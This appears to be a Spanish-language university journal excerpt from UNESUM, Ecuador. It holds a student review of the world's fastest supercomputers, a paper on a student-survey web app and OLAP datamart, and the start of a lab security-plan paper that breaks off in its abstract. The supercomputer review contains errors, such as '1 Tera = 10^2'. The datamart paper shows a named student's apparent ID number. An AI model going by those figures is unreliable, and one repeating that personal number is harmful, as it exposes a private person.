En América Latina, las instituciones que utilizan las supercomputadoras no marchan al mismo ritmo, a su vez publicaron el ranking de las supercomputadoras más rápidas de la región tales como: MIZTLI de México, CENAPAD-SP de Brasil, LEVQUE de Chile, MEDUSA de México, ISAAC Argentina, considerando que cada una de ellas cuentan con procesadores y velocidades sorprendentes de alrededor de 80-27-5-2,9 Teraflops y además todas son capaces de realizar un sinnúmero de operaciones a la vez. Por consiguiente, en Ecuador, ya se vive la era del supercomputador siendo Urcuquí, provincia de Imbabura privilegiada gracias a la Empresa Pública Yachay, al implementarse el supercomputador QUINDE I, el cual es una herramienta estratégica fundamental para fortalecer la investigación científica, el desarrollo industrial y afrontar los retos sociales mediante el modelamiento y la simulación computacional, además, utiliza 1.680 unidades de procesamiento de cómputo y 4.368 unidades de procesamiento gráfico.

Entre las principales características de las supercomputadoras tenemos: la velocidad de procesamiento, varios usuarios a la vez, su tamaño, su dificultad de uso, los clientes inusuales, el impacto social y el hardware. En lo referente a sus ventajas sobresale que son utilizadas para modelar explosiones nucleares, sirven de gran ayuda en distintas ramas tales como la meteorología, así mismo tienen grandes desventajas como lo es su precio, son demasiadas caras, hoy por hoy superan los treinta millones de dólares, además son de gran tamaño, y requieren de instalaciones especiales y aire acondicionado industrial. Muchos usuarios piensan que estas supercomputadoras utilizan componentes diferentes a los de las computadoras de escritorio, pero esto es erróneo.

Lo que verdaderamente diferencia una de la otra es su manera de trabajar, las supercomputadoras trabajan en paralelo, recalando que se emplean y un sinnúmero de memorias RAM, CPU y Disco duros, para brindar un excelente beneficio y mayor rapidez al momento de realizar una o varias tareas, también su vía de enfriamiento no es similar, ya que no es lo mismo enfriar una computadora normal con un simple ventilador en la parte extrema del equipo, a enfriar 100 a 1000 CPU operando al mismo tiempo, por ello cuentan con un control de calentura especial, para derrochar el calor que ciertos componentes adquieren.

El impacto de esta investigación en cuanto al ámbito tecnológico es que las grandes empresas implementen este tipo de mecanismo, para garantizar que un futuro próximo los expertos de la materia sigan simulando realidades y analizando millones de datos a una velocidad increíble.

Desarrollo

“Las supercomputadoras, son equipos informáticos con gran capacidad de cálculo y procesamiento de datos (big data). Existen desde la creación de las computadoras y siempre fueron evolucionando a la par de las computadoras personales, sólo que han sido orientadas y usadas en investigaciones científicas, simulación de manejo de datos y administración de grandes volúmenes de información” (Checa, 2018).

“También se las conoce hoy en día como computadoras de alto desempeño, y están comenzando a dejar de usarse en investigaciones científicas y gubernamentales, para ingresar al ámbito de las empresas privadas, donde también se las usa para procesar grandes cantidades de datos, como lo hacen en Amazon, Google, Facebook o Apple, entre otros. Conocer sobre las supercomputadoras nos acerca a los orígenes de la computación, son conceptos básicos del campo de la computación que todo geek debería conocer hoy en día” (Checa, 2018).

Para llevar a cabo esta investigación se utilizaron diversas fuentes bibliográficas, que permitieron profundizar el concepto y definición de las supercomputadoras.

Meza señaló que “El rendimiento de las supercomputadoras se mide en flops, que es una medida de rendimiento informático, que mide las operaciones por segundo que realiza el ordenador, entonces 1 Tera = 10^2 y 1 Peta = 10^{15} . Es por ello que, si un superordenador posee un petaflops, por ejemplo, quiere decir que esté puede realizar 1.000.000.000.000.000 operaciones aritméticas por segundo” (Meza, 2017). En la siguiente Tabla 1, se muestra otras medidas de rendimiento de cálculo.

Tabla 4 Medidas de rendimiento de cálculo

COMPUTADOR DESEMPENHO	
Nome	flops
megaflop	10^6
gigaflop	10^9
teraflop	10^{12}
petaflop	10^{15}
exaflop	10^{18}
zettaflop	10^{21}
yottaflop	10^{24}

Fuente: Datos de la Investigación

A continuación, se presentará una lista de las supercomputadoras más potentes del mundo de mayor a menor escala.

GRÁFICO # 1: Sunway TaihuLight

Fuente: Datos de la Investigación

“Un súper ordenador cien por cien de origen chino que presenta unas cifras de otra galaxia gracias a una arquitectura totalmente inédita. Y es que ofrece una potencia de proceso de 93 petaflops, hasta cinco veces más que el superordenador más potente de Estados Unidos. A ello debemos sumar más de diez millones de núcleos repartidos entre más de 40.000 procesadores, creados por el centro de investigación Shanghai High Performance. Y parece que la carrera por la potencia de proceso sólo acaba de comenzar si tenemos en cuenta que en 2001 China no contaba con ningún computador de estas características y que hoy en día ya cuenta con 167, dos más que Estados Unidos” (Ciuraneta, 2017).

GRÁFICO # 2: Tianhe-2

Fuente: Datos de la Investigación

Javier señala que “Este superordenador fue desarrollado por la Universidad Nacional de Tecnología de Defensa de China (NUDT) y la empresa china Inspur, está ubicada en el Centro Nacional de Supercomputación en Guangzho (NSCC-GZ), República Popular China. Tiene un rendimiento de 33,86 petaflops (33.860.000.000.000.000 operaciones de coma flotante por segundo), con un pico teórico de 54,9 petaflops, consta de 16.000 nodos, posee un total de 3,12 millones de núcleos. Además, es capaz de almacenar 12,4 PB y utiliza el sistema operativo Kylin Linux” (Pastor, 2013).

GRÁFICO # 3: Piz Daint

Fuente: Datos de la Investigación

Bernardo señaló que “El supercomputador Piz Daint está situado en el Centro Suizo de Supercomputación Nacional (Swiss National Supercomputing Centre), y fue inaugurado en abril de 2013. Piz Daint ha pasado de tener 12 cabinas de computadores a contar con 28, lo que ayuda en el rendimiento teórico el cual se sitúa en los 7,8 petaflops y consta de 361.760 núcleos” (Bernardo, 2014).

GRÁFICO # 4: Gyoukou

Fuente: Datos de la Investigación

“Esté superordenador pertenece a la Agencia Japonesa de Ciencia y Tecnología de la Tierra Marina. Construido por ExaScaler con alrededor de 1.250 procesadores Intel Xeon de 16 núcleos con una interconexión EDR Infiniband, Gyoukou obtiene la mayor parte de su potencia informática de los 19.840.000 núcleos de sus aceleradores Pezy-SC2. Puede ofrecer un rendimiento máximo sostenido de 19.14 petaflops y un rendimiento máximo de 28.19 petaflops. La característica destacada de Gyoukou es su eficiencia energética de 14.17 gigaflops / watt, el doble de la eficiencia de sus vecinos en el ranking Top500” (PCWORLD, 2017).

GRÁFICO # 5: Titán

Fuente: Datos de la Investigación

Bejerano señala que “Titán, está instalada en el Laboratorio Nacional estadounidense de Oak Ridge (ORNL) en Tennessee, es la supercomputadora que dispone de un sistema con 18.688 nodos, cada uno de los cuales está compuesto de un procesador AMD Opteron 6274 de 16 núcleos (CPU) y de una GPU (graphic processor unit) NVIDIA Tesla K20, aceleradores de cálculo cuya eficiencia ha sido optimizada al máximo. La combinación de estos dos elementos, CPU y GPU permite reducir el tamaño, rebajando asimismo el consumo energético. La memoria total es de más de 700 TB, Además, los creadores afirman que la capacidad de la máquina puede llegar a los 27 petaflops (unidad que equivale a 1.000 billones de operaciones de cálculo por segundo)” (G. Bejerano, 2013).

GRÁFICO # 6: Sequoia

Fuente: Datos de la Investigación

“En Alemania, hoy se reconoció a la súper-computadora más eficiente del planeta en el marco del ranking TOP500, el que se actualiza dos veces al año y esta vez premió con el primer lugar al IBM Sequoia, ubicado en California, Estados Unidos. Este gran equipo, del tipo IBM Blue Gene/Q, posee un rendimiento de 16,3 petaflops por segundo, lo que en una hora logra calcular

lo mismo que 6.700 millones de personas con una calculadora en 320 años, potencial que pretende ser utilizado en el Departamento de Energía de EE.UU. para la simulación de uso de armas nucleares, aunque también será prestado ocasionalmente para propósitos científicos” (Anónimo, abc, 2012).

GRÁFICO # 7: *Trinity*

Fuente: *Datos de la Investigación*

Javier destaca que este superordenador “Se encuentra en el Laboratorio Nacional de Los Álamos y es utilizado también por el departamento de Energía de Estados Unidos y la Administración Nacional de Seguridad Nuclear. Fue fabricado por Cray.Inc y cuenta con un procesador Xeon E5-2698v3 16C de 2.3GHz con 979.968 núcleos, que ofrecen en total una capacidad de procesamiento de 14,137 petaflops y su sistema operativo es Cray Linux Environment” (Pastor, 2013).

GRÁFICO # 8: *Cori*

Fuente: *Datos de la Investigación*

“El superordenador más nuevo de NERSC, llamado Cori, es un Cray XC40. Nombrada por la bioquímica estadounidense Gerty Cori, la primera mujer estadounidense en ganar un Premio Nobel y la primera mujer en ser honrada con el premio en Fisiología o Medicina, se considera único por tener dos tipos de nodos el primero con (2,388) nodos de procesador Intel Xeon "Haswell" y el segundo con 9,688 nodos Intel Xeon Phi "Knight's Landing". Además, cuenta con una memoria tampón de ráfaga 1.8 PB Cray Data Warp, así mismo, consta de 622.336 núcleos, y su rendimiento es de 14 petaflops” (NERSC, 2018).

GRÁFICO # 9: *akforest-PACS*

Fuente: *Datos de la Investigación*

“Oakforest-PACS es un sistema Primergy de Fujitsu operado por el centro nipón avanzado para Computación de Alto Rendimiento. Está instalado en el Centro de Tecnología de la Información de la Universidad de Tokio. Es el superordenador más rápido de Japón, justo por delante de K. Fue construido para la investigación y la ciencia y su velocidad de proceso es de 13,554 petaflops y consta de 556.104 núcleos” (Anónimo, computerworld, 2017).

GRÁFICO # 1

Lazalde señala que este supercomputador “Vive en Japón, es operada por una versión especial de Linux, y acaba de romper un récord de supercomputación al superar la barrera de los 10 petaflops durante la ejecución de una tarea que le llevó poco más de 29 horas” (Lazalde, 2011).

MATERIALES Y MÉTODOS

Los materiales que llevaron a cabo en este trabajo de investigación fueron: Diversas fuentes bibliográficas lo que conlleva a una investigación completa.

En cuanto al desarrollo de esta indagación se utilizaron los métodos de la investigación científica tales como: los métodos teóricos entre los cuales tenemos, histórico- lógico que fue empleado en la construcción de todo el trabajo investigativo, el análisis-síntesis para profundizar y sintetizar el proceso de relación que se establece entre las supercomputadoras y el medio social. Así mismo, se emplearon los métodos bibliográficos y referenciales para revisar antecedentes reales sobre el trabajo de investigación.

RESULTADO Y DISCUSIÓN

Los métodos teóricos lograron sintetizar que es necesario realizar una investigación profunda para conocer cuáles son las grandes ventajas que provee estos equipos informáticos para brindar servicio de calidad a los investigadores, así mismo los métodos bibliográficos y referenciales, aportaron con definiciones directas de personas conocedoras del tema y así realizar un estudio completo sobre el mismo.

CONCLUSIONES

Se definió que el 98,8 % de las supercomputadoras utilizan el sistema operativo Linux, el cual provee de un sinnúmero de beneficios, además éstas jamás se van a medir por su tamaño físico, sino por sus diferentes estándares. Por ende, estos mecanismos solo pueden ser usados por expertos, ya que, conocen cada una de las funcionalidades y particularidades que un usuario intermedio no podría controlar. Cabe recalcar que los supercomputadores les admiten a los investigadores representar ambientes y reconocer abundante información con una eficacia que domina elocuentemente los métodos durante sus indagaciones, todo esto gracias al rendimiento asombroso que poseen estas maquinarias.

REFERENCIAS BIBLIOGRÁFICAS

- Bejerano, P. (11 de Enero de 2013). *Blogthinkbig*. Obtenido de Así es Titán, la supercomputadora más potente del mundo: <https://blogthinkbig.com/asi-titan-supercomputadora-mas-potente-mundo>
- Bernardo, Á. (21 de Marzo de 2014). *hipertextual*. Obtenido de Piz Daint, el supercomputador más rápido de Europa: <https://hipertextual.com/2014/03/piz-daint-supercomputador-europa>
- Checa, S. (22 de Mayo de 2018). *locurainformaticadigital*. Obtenido de Supercomputadoras: ¿Qué son y para qué sirven? explicación completa: <https://www.locurainformaticadigital.com/2018/02/06/las-supercomputadoras-concepto-usos/>
- Ciuraneta, C. (4 de Julio de 2017). *MeriStation*. Obtenido de Sunway TaihuLight, el superordenador más potente del mundo: https://as.com/meristation/2016/06/21/noticias/1466496000_156314.html

Lazalde, A. (4 de Noviembre de 2011). *hipertextual*. Obtenido de K Computer, la supercomputadora más veloz supera la barrera de los 10 petaflops: <https://hipertextual.com/2011/11/k-computer-la-supercomputadora-mas-veloz-supera-la-barrera-de-los-10-petaflops>

Martin, J. (24 de Agosto de 2017). *COMPUTERWORLD FROM IDG*. Obtenido de Los 10 mejores superordenadores de 2017: <http://www.computerworld.es/tecnologia/los-10-mejores-superordenadores-de-2017>

Meza, D. (15 de Septiembre de 2017). *nmas1*. Obtenido de supercomputadoras-latinoamerica: <https://nmas1.org/material/2017/09/15/supercomputadoras-latinoamerica>

NERSC. (9 de Junio de 2018). *NERSC*. Obtenido de Cori: <http://www.nersc.gov/users/computational-systems/cori/>

Oyanedel, J. (18 de junio de 2012). *FayerWayer*. Obtenido de IBM tiene la nueva súper-computadora más rápida del planeta: <https://www.fayerwayer.com/2012/06/ibm-tiene-la-nueva-super-computadora-mas-rapida-del-planeta/>

Pastor, J. (9 de Junio de 2013). *xataka*. Obtenido de Tianhe-2, la supercomputadora china que bate todos los récords: <https://www.xataka.com/otros/tianhe-2-la-supercomputadora-china-que-bate-todos-los-records>

PCWORL. (14 de Noviembre de 2017). *PCWorld is digital too*. Obtenido de China adelanta a EEUU en la lista Top500 de supercomputación: <http://www.pcworldenespanol.com/2017/11/14/china-adelanta-eeuu-la-lista-top500-supercomputacion/>

BIOGRAFÍA DE AUTORES

John Denys Reina Paredes estudiante de la Carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del cantón Jipijapa-Manabí-Ecuador graduados con honores en bachiller en Contabilidad en la Unidad Educativa Fiscal “Simón Plata Torres”, del cantón Quinindé-Esmeraldas-Ecuador.

Dayana Lilibeth Pérez Chilán estudiante de la Carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del cantón Jipijapa-Manabí-Ecuador graduados con honores en bachiller Contabilidad en la Unidad Educativa Fiscal “Simón Plata Torres”, del cantón Quinindé-Esmeraldas-Ecuador.

Camila Yanlisbeth Pin Menéndez estudiante de la Carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del cantón Jipijapa-Manabí-Ecuador graduados con honores en bachiller en Ciencias en la Unidad Educativa Fiscal “Alejo Lascano”, del cantón Jipijapa-Manabí-Ecuador.

Gema Julissa Pinargote Vinces estudiante de la Carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí, del cantón Jipijapa-Manabí-Ecuador graduados con honores en bachiller en Ciencias Unificada en la Unidad Educativa Portoviejo, del cantón Portoviejo-Manabí-Ecuador.

CREACIÓN Y EXPLOTACIÓN DE UN DATAMART BASADO EN INDICADORES SOCIALES DE ESTUDIANTES EN LA UNESUM

Ing. Vicente Fray Romero Castro MG.SIG.

Ing. Martha Irene Romero Castro. Mg.

Ing. Rosario Magdalena Romero. Mg.

Ing. Marco Antonio Toala Pilay. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

vicente.romero@unesum.edu.ec

martha.romero@unesum.edu.ec

charito.romero@hotmail.com

toala.marco@unesum.edu.ec

RESUMEN

Actualmente las herramientas tecnológicas cada día ofrecen muchas facilidades y ventajas a los usuarios que las necesitan, en especial las relacionadas a la inteligencia de negocios. El presente trabajo de investigación tiene como objetivo principal solucionar muchos problemas a la hora de obtener información de una determinada fuente de datos, en especial en el ámbito educativo de la educación superior, en particular en un departamento clave para los procesos de acreditación como es el departamento de evaluación de la UNESUM.

Esta propuesta tecnológica se basó en la creación de un Datamart para el análisis multidimensional de indicadores sociales de los estudiantes de la institución y una solución para la explotación y visualización de los datos a través de herramientas de inteligencia de negocios presentes en el medio actual como son los visores OLAP, en la cual se puede obtener información de los estudiantes universitarios con el objetivo de tomar las decisiones y contar con información fiable y de forma rápida.

Para el diseño del cubo de datos se creó un modelo multidimensional en estrella para la creación de las dimensiones y la tabla de hechos y, para la obtención de los datos se diseñó una aplicación web, la cual se basó en encuestas referentes a indicadores sociales de los estudiantes.

Esta solución de inteligencia de negocios implica el monitoreo periódico de información de los estudiantes como origen, tipo de estudios, etc., segmentando toda la información que será útil para el departamento de evaluación y acreditación interna en los procesos de acreditación.

PALABRAS CLAVE: Datamart; Aplicación web; multidimensional).

ABSTRACT

Nowadays, technological tools offer many facilities and advantages to users who need them, especially those related to business intelligence. The main objective of this research work is to solve many problems when obtaining information from a specific source of data, especially in the educational field of higher education, particularly in a key department for accreditation processes such as evaluation department of UNESUM.

This technological proposal was based on the creation of a Datamart for the multidimensional analysis of social indicators of the students of the institution and a solution for the exploitation and visualization of the data through business intelligence tools present in the current environment such as OLAP viewers, in which you can obtain information from university students in order to make decisions and have reliable information quickly.

For the design of the data cube, a multidimensional star model was created for the creation of the dimensions and the fact table, and a web application was designed to obtain the data, which was based on surveys referring to social indicators of the students.

This business intelligence solution involves the periodic monitoring of student information such as origin, type of studies, etc., segmenting all the information that will be useful for the evaluation and internal accreditation department in the accreditation processes.

KEYWORDS: Datamart; web application; multidimensional.

1. INTRODUCCIÓN

El departamento de evaluación y aseguramiento de la calidad de la institución es el área encargada de dirigir y encaminar los procesos de acreditación con el objetivo de mejorar el proceso y calidad de la enseñanza en la organización. Entre uno de estos procesos es verificar el cumplimiento de todos los indicadores tanto en el ámbito de estudiantes, docentes, investigación, docencia, entre otros. Los lineamientos del CACES, organismo que realiza el control de acreditación de las IES en el Ecuador, ha conllevado a que se tenga la información veraz, rápida y que permita tomar decisiones siendo uno de los principales problemas con el que se enfrenta este departamento, para lo cual el proceso de medir indicadores de gestión se los realiza de forma manual, conllevando a que las decisiones que se deban tomar lleguen de forma tardía y sin capacidad de gestión.

La presente investigación tiene la finalidad de desarrollar como primer punto un aplicativo web para el procesamiento de una serie de encuestas de ámbito social dirigida hacia los estudiantes con el propósito de recabar información imprescindible para los procesos de acreditación

institucional solicitadas por el CACES (Concejo de Aseguramiento de la Calidad de la Educación Superior), que es un organismo técnico, público y autónomo encargado de la acreditación de las universidades en el país.

Como segundo eje de control se pretende crear un Datamart de toda la información social de los estudiantes de la institución con el objetivo de realizar análisis multidimensional de los datos y esta información pueda ser remitida al CACES cuando sea solicitada, para esto se debe crear un cubo de datos en el departamento de evaluación y aseguramiento de la calidad, específicamente en la parte de los estudiantes.

Como tercer punto se tiene el proceso de explotación de la información de indicadores sociales del Datamart creado, para esto se debe utilizar un visor OLAP para la visualización de la información o simplemente realizar el análisis multidimensional mediante herramientas que se usan a diario como el Microsoft Excel, para ello se debe configurar la hoja de cálculo y realizar análisis de los datos.

2. DESARROLLO

Las plataformas web son herramientas informáticas que son aprovechadas en diferentes medios mediante el uso de un explorador web, estas herramientas son una de las más populares debido al alto impacto de la tecnología, la constituye un estandar, el lenguaje HTML soportado por los navegadores actuales, logrando que los usuarios accedan a la información de manera rápida y accesible desde cualquier plataforma.

Según (Alegsa, 2017), un aplicativo web es accedido por los usuarios a través de una red como internet o intranet, esta expresión se utiliza para aquellos programas que son ejecutados en un navegador (por ejemplo Chrome, Mozilla) o soportado por un lenguaje del lado del servidor como (PHP, JSP, ASP.NET), permitiendo tener las aplicaciones web actualizadas, sin necesidad de instalar el software en cada equipo, facilitando (Alcocer López Daisy Mishel y Aguayo Rosa Natividad, 2007) el uso en múltiples plataformas.

(Gallego, 2014) afirma que, el desarrollo de aplicaciones web ha tenido una evolución muy significativa, dando como resultado la disponibilidad de tecnologías, plugins, aplicativos y estilos arquitectónicos, existen varios enfoques de desarrollo como es la maquetación de webs con la utilización de framework que facilitan el desarrollo y creación de webs de forma rápida y dinámica.

(Friends, 2018), manifiesta que el aplicativo XAMPP es un conjunto de herramientas que funciona como un servidor independiente de la plataforma, es una distribución de gratuita de programas, este paquete de instalación ha sido diseñado para que sea increíblemente fácil de instalar y de usar, esta aplicación contiene MySQL o MariaDB, PHP como programas base, funciona en varias plataformas como Windows, Mac OS X y Linux.

La inteligencia de negocios es definida como el conjunto de procesos, aplicaciones que permite obtener información de varias fuentes de datos como empresas u organizaciones a partir de los datos existentes, tiene como objetivo principal alcanzar datos históricos con fines de análisis, estos procesos permiten analizar, recolectar y consolidar la información desde múltiples fuentes para la toma de decisiones.

Según (Aimacaña, 2013), afirma que la implementación de soluciones de inteligencia de negocios, incrementan la toma de decisiones en situaciones que se necesita analizar mucha información, se mejora la comunicación entre los diferentes segmentos de la empresa, se aumentan los ingresos y se permite la adquisición de nuevos clientes, se identifican los posibles riesgos, se basa en el conocimiento del negocio en el medio, se obtienen beneficios intangibles gracias a la implementación de las BI, se reducen costos debido a que se tiene a la mano la información.

(Sinnexus, 2016), afirma que un Datamart es una base de datos especializada en una parte del negocio de la empresa, cuya especialización es el almacenamiento de la información en una área específica de la empresa, tiene una estructura óptima de datos con el objetivo de analizar la información al más mínimo detalle. Un Datamart puede obtener los datos de un datawarehouse, ya que un conjunto de datamarts forman un almacén de datos, o también los datos pueden ser obtenidos desde distintas fuentes, la implementación de este tipo de soluciones tiene que tener como denominador común la fuente de datos.

OBJETIVOS

GENERALES

Crear y explotar un Datamart para el análisis de la información basada en indicadores sociales de los estudiantes en la UNESUM.

ESPECÍFICOS

- Implementar una plataforma web para el procesamiento de las encuestas basadas en indicadores sociales de los estudiantes en la UNESUM.
- Crear un Datamart basado en indicadores sociales de los estudiantes
- Explotar y analizar la información del cubo de datos a través de herramientas de análisis OLAP.

3. MATERIALES Y MÉTODOS

Entre los principales elementos para el procesamiento de la información como requerimiento principal está el diseño y la implementación de la plataforma web como fuente de información por parte de los estudiantes, aquí, se subirán los datos de ámbito social en el sistema transaccional por parte de los mismos, estos elementos vienen a ser los requerimientos funcionales y no funcionales del departamento de Evaluación y Aseguramiento de la Calidad de la institución en lo referente a obtención de datos.

La investigación y levantamiento de información estuvo dirigida a la población estudiantil de la institución, con estudiantes matriculados en el periodo académico mayo a septiembre del 2018 que cursan entre primero y noveno semestre según se señala la distribución de la siguiente tabla:

Tabla 1. Listado de estudiantes por carreras

CARRERA	TOTAL ESTUDIANTES
ADMINISTRACIÓN DE EMPRESAS * - REDISEÑO	380
ADMINISTRACIÓN DE EMPRESAS AGROPECUARIAS	59
COMERCIO EXTERIOR	133
CONTABILIDAD Y AUDITORÍA * - REDISEÑO	345
ENFERMERIA	268

ENFERMERIA * - REDISEÑO	266
GESTIÓN EMPRESARIAL	158
INGENIERÍA AGROPECUARIA	85
INGENIERÍA AGROPECUARIA * - REDISEÑO	174
INGENIERÍA AMBIENTAL	265
INGENIERÍA CIVIL	228
INGENIERÍA CIVIL * -REDISEÑO	333
INGENIERÍA EN AUDITORIA	166
INGENIERÍA EN COMPUTACIÓN Y REDES	153
INGENIERÍA EN ECOTURISMO	85
INGENIERÍA EN MEDIO AMBIENTE	168
INGENIERÍA EN SISTEMA COMPUTACIONALES	73
INGENIERÍA FORESTAL	102
INGENIERÍA FORESTAL * - REDISEÑO	130
LABORATORIO CLÍNICO	340
LABORATORIO CLÍNICO * - REDISEÑO	344
TECNOLOGIA DE LA INFORMACIÓN	289
TURISMO * - REDISEÑO	234
TOTAL	4778

Fuente: Sistema Matriculas SAU - UNESUM.

Por lo tanto, toda esta información será la base del diseño de un modelo de datos para el procesamiento de información social sobre los indicadores de los estudiantes y con esto se procederá al desarrollo del sistema que procesará las encuestas de los alumnos para la

construcción del Datamart. La figura 1 muestra el modelo de la solución basada en inteligencia de negocios que servirá de base para la explotación del Datamart.

Figura 1. Solución propuesta para el diseño del proceso de explotación del Datamart.

Fuente: Elaboración propia.

Para el procesamiento de la información se procedió a diseñar una página web que sirve como captura de todas las encuestas de los estudiantes, para ello se usó la metodología UWE, que es un método de ingeniería de software para desarrollar aplicaciones web basadas en UML, la figura 2 muestra en esquema de la web diseñada.

Figura 2. Elaboración de la página web para el proceso de las encuestas.

Fuente: Elaboración propia.

4. RESULTADOS Y DISCUSIÓN

Entre los resultados esperados se muestra la aplicación web para la recolección de los datos para que los estudiantes pudieran contestar una serie de preguntas como muestra la figura 3.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ
CREADA EL 7 DE FEBRERO DEL 2001, MEDIANTE REGISTRO OFICIAL 4 901
DEPARTAMENTO DE EVALUACIÓN Y ASEGURAMIENTO DE LA CALIDAD

ENCUESTA DIRIGIDA A LOS SEÑORES ESTUDIANTES

CARRERA: ADMINISTRACIÓN DE EMPRESAS AGROPECUARIAS

ESTUDIANTE: DAYANA CAROLINA PALMA BUSTAMANTE

IDENTIFICACIÓN: 130558837

APELLIDOS: PALMA BUSTAMANTE

NOMBRES: DAYANA CAROLINA

TIPO DE PARRQUIA EN LA QUE VIVE: Escuela tipo de parroquia

ESTADO CIVIL: Escuela estado Civil

TIPO VIVIENDA: Escuela el Tipo de Vivienda

PARA ACCEDER A EDUCACIÓN SUPERIOR
TUVO QUE CAMBIAR SU LUGAR DE
RESIDENCIA? NO

ESTUDIÓ ANTES DE SU ACTUAL CARRERA
EN ALGUNA INSTITUCIÓN DE EDUCACIÓN
SUPERIOR Y CAMBIO DE INSTITUCIÓN DE
ESTUDIO PARA CURSAR LA MISMA NO

CUÁL FUE LA PRINCIPAL RAZÓN PARA EL...

Mostrar todo

Figura 3. Llenado de las encuestas en la plataforma por los estudiantes.

Fuente: Elaboración propia

El aplicativo consiste en una serie de preguntas relacionadas al ámbito social de los estudiantes como temas sobre:

- Procedencia
- Tipo de vivienda
- Tipo de institución de educación.
- Actividad económica, etc.

Diseñada la plataforma transaccional que permite la captura de la información de los estudiantes a través de la página web, otro paso es la explotación del Datamart creado para el departamento de Evaluación y Aseguramiento de la calidad de la UNESUM, para esto se procede a analizar el cubo de datos a través de una interfaz web, utilizando una herramienta de análisis OLAP denominada SAIKU, que se integra a la solución de inteligencia de negocios llamada PENTAHO, la figura 4 muestra los resultados de la explotación del Datamart mediante la herramienta SAIKU.

Figura 4. Explotación del Datamart mediante la herramienta SAIKU.

Fuente: Elaboración propia

La presente investigación ayudó en la obtención de información de forma veraz con el diseño e implementación del Datamart, la cual es parte de la inteligencia de negocios. La propuesta fue creada en varias fases, desde la creación de la plataforma web para la captura de los datos transaccionales, el diseño del Datamart para el análisis de los resultados de indicadores sociales de los estudiantes y la última etapa la explotación de la información utilizando operaciones de roll-up, drill, Down, slice-dice, pivot, generados a través de la aplicación web, finalmente, se realizó un “análisis multidimensional” con el objetivo de obtener los resultados de los datos para el proceso de acreditación de la institución.

5. CONCLUSIONES

La presente solución propuesta mediante esta investigación permite establecer las siguientes conclusiones:

- La aplicación web para el procesamiento de los cuestionarios basados en preguntas de ámbito social de los estudiantes, permitió solucionar un problema crítico para la institución, como el no tener información relevante, consistente y de forma ágil para los procesos de acreditación basado en la parte de indicadores de estudiantes, constituyéndose en un factor clave para que el departamento de Evaluación y Aseguramiento de la calidad alcance mejores resultados en el procesamiento de indicadores académico para enviar al CACES.

- El desarrollo de este proyecto permitió diseñar una solución basada en inteligencia de negocios bajo software libre, con la funcionalidad de permitir el análisis de los datos a través de la explotación de los mismos, utilizando herramientas de análisis OLAP de forma multidimensional en el cubo de datos, arrojando resultados importantes y consistentes para la toma de decisiones de las autoridades del departamento de Evaluación y Aseguramiento de la Calidad.

6. RECOMENDACIONES

- Como recomendación fundamental para el proceso de acreditación, se recomienda que se amplíe la solución a más sectores y departamentos de la institución, es decir que se cree un DataWareHouse que integre todos los procesos y se tenga información más completa acerca de los indicadores de acreditación solicitados por el CACES.
- Que se agregue nuevas funcionalidades a la solución web para realizar análisis estadístico del proceso de captura de información de indicadores sociales de los estudiantes y así obtener un mejor performance en el sistema.

REFERENCIAS BIBLIOGRÁFICAS

- Aimacaña, D. (2013). Análisis, diseño e implementación de un DATMART. Quito: Universidad Central del Ecuador.
- Alegsa. (01 de Enero de 2017). Informática y Tecnología. Obtenido de http://www.alegsa.com.ar/Dic/aplicacion_web.php
- Friends, A. (2018). XAMPP. España: CDN.
- Gallego, M. (23 de Enero de 2014). Tecnologías de desarrollo de aplicaciones web. Obtenido de <https://es.slideshare.net/micahelgallego/tema2-tecnologas-de-desarrollo-de-aplicaciones-web>
- Sinnexus. (2016). DATAWAREHOUSE. España: Sinergia e Inteligencia de Negocios.

BIOGRAFÍAS DE AUTORES

Ing. Vicente Fray Romero Castro MG.SIG. Magister en Sistemas de Información Gerencial por la Escuela Superior Politécnica del Litoral, Ingeniero en Sistemas. Docente de la Universidad Estatal del Sur de Manabí

Ing. Martha Irene Romero Castro, Magister en Informática Empresarial, Magister en Docencia Universitaria e Investigación Educativa, Especialista en Redes de Comunicación de Datos, Ingeniera en Sistemas, Coordinadora de la Carrera de Ingeniería en Computación y Redes, Docente Titular Principal de la Universidad Estatal del Sur de Manabí.

Ing. Rosario Magdalena Romero Castro, Magister en Contabilidad y Auditoría por la Universidad Estatal del Sur de Manabí. Actualmente Docente en la Universidad Estatal del Sur de Manabí.

Marco Antonio Toala Pilay, Licenciado en Cultura Física, Magister en Pedagogía de la Cultura Física, Docente de la Universidad Estatal del Sur de Manabí (UNESUM), Experto en Liderazgo Transformacional, Director Técnico de la Selección de Fútbol de la UNESUM. Investiga temas relacionados a Estrategias metodológicas para facilitar el aprendizaje y desarrollo motor.

APLICACIÓN DEL PLAN ESTRATÉGICO DE SEGURIDAD INFORMÁTICA PARA LA PROTECCIÓN DE LOS RECURSOS INFORMÁTICOS EN LOS CENTROS DE CÓMPUTO

Ing. Martha Irene Romero Castro

Ing. Marco Antonio Toala Pilay

Ec. Carmen Lelys Romero Castro

Jair Alberto Indio Marcillo

Jonathan Xavier Guerra Carvajal

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

martha.romero@unesum.edu.ec

toala.marco@unesum.edu.ec

carmen.romero@unesum.edu.ec

jainma1997@gmail.com

jxgc_1385@hotmail.com

RESUMEN

Este proyecto de investigación se basa en la elaboración del diseño de un plan estratégico, que permitirá describir y solucionar una necesidad en cuanto a la seguridad informática del laboratorio de telecomunicaciones en el que se mejoraran los métodos, y políticas para la protección de los recursos y equipos informáticos que se encuentren a disposición del laboratorio de telecomunicaciones de la Carrera de Ingeniería en Computación y Redes. Actualmente la Universidad Estatal del Sur de Manabí tiene a su disposición diferentes equipos tecnológicos por ende se necesitan medidas y contravenciones para asegurar la disponibilidad de esos recursos en todo momento. Las metodologías cuantitativa y cualitativa fueron recursos importantes para realizar esta investigación y en base a los datos recogidos se realizaron tabulaciones permitiendo así descubrir la necesidad y seleccionar la mejor opción para resolverla. Este proyecto mantiene un cronograma previamente analizado y cumplido en el lapso estipulado además de que contó con un recurso económico propiamente del autor

PALABRAS CLAVES: Disponibilidad, Seguridad, Informática, Recursos, Contravenciones, Disposición.

ABSTRACT

This research project is based on the elaboration of the design of a strategic plan, which will allow to describe and solve a need regarding the computer security of the telecommunications

